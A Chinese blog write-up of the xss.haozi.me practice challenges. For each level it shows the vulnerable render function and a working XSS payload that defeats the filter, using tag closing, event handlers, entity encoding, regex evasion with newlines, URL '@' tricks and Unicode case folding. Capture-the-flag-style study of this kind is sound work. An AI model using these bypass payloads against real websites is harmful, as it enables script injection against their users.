xss练习笔记(一)

主页,writeup,web,嘤嘤嘤,完结 2018-09-27

0x00:简介

xss练习地址:

https://xss.haozi.me/

xss项目地址:

https://github.com/haozi/xss-demo


0x00

function render (input) {
  return '<div>' + input + '</div>'
}

无过滤

<script>alert(1)</script>

0x01

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

文本框无法执行,但是可以闭合<textarea>来执行.

</textarea><script>alert(1)</script>

0x02

function render (input) {
  return '<input type="name" value="' + input + '">'
}

简单的dom型xss,闭合前面的双引号后面的句子随便构造,只要能执行.

"onmouseover="alert(1)"

或通过闭合前面的尖括号,构造新的语句执行.

"><svg/onload=alert(1)>

0x03

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号(),但是我们仍然可以使用反引号执行.

<script>alert`1`</script>

0x04

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号(),反引号`.
<svg>可以执行html转义字符.

<svg><script>alert&#40;1&#41;</script>

0x05

function render (input) {
  input = input.replace(/-->/g, 'emoji笑脸')
  return '<!-- ' + input + ' -->'
}

<!--可以用-->--!>两种方式闭合.

--!><script>alert(1)</script>

0x06

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

可以通过换行绕过正则检测.

type="image" src="xxx" onerror
="alert(1)"

0x07

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

匹配了尖括号<>开头结尾的字符串替换为空.
可以通过少输入一个>来绕过正则,但仍然可以执行.

<body onload="alert(1)"

0x08

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

通过换行绕过正则,闭合<style>然后执行语句.

</style
><script>alert(1)</script>

0x09

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

匹配https://www.segmentfault.com开头的字符串.
闭合第一个script,执行语句,然后//注释后面的语句.

https://www.segmentfault.com"></script><script>alert(1)</script>//

0x0A

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

对一些符号进行了编码,并且正则匹配了https://www.segmentfault.com开头的字符串.

这里可以使用@来执行我们自己的js.(其实是访问https://xss.haozi.me/j.js)

https://www.segmentfault.com@xss.haozi.me/j.js

0x0B

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

html标签,域名不区分大小写.

<script src="https://xss.haozi.me/j.js"></script>

0x0C

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

只检查了一遍是否存在script,于是可以在script中双写script绕过.

<scrscriptipt src="https://xss.haozi.me/j.js"></scrscriptipt>

0x0D

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

过滤了<,/,",'.

通过换行绕过注释.

然后用html的注释符-->注释掉后面的圆括号.


alert(1)
-->

0x0E

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

匹配了所有<与字母的组合.

<s无法使用.

但是ſ大写后为S,且其ascii值不与s相等,因此可以绕过.

<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

&,',",<,>,\/进行编码.

浏览器会先解析html,再解析js,因此waf实际无用.

');alert(1)//

0x10

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

无过滤,在<script>中直接执行.

alert(1)

0x11

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

过滤了一些字符.

"过滤为\\",但目的达成,闭合了前面的双引号,然后执行了语句,并用//注释了后面的语句.

");alert(1)//

0x12

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

直接闭合最前面的<script>,然后创造一个新的<script>执行alert(1)即可.

</script><script>alert(1)</script>


本文由 saltyfishyu 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论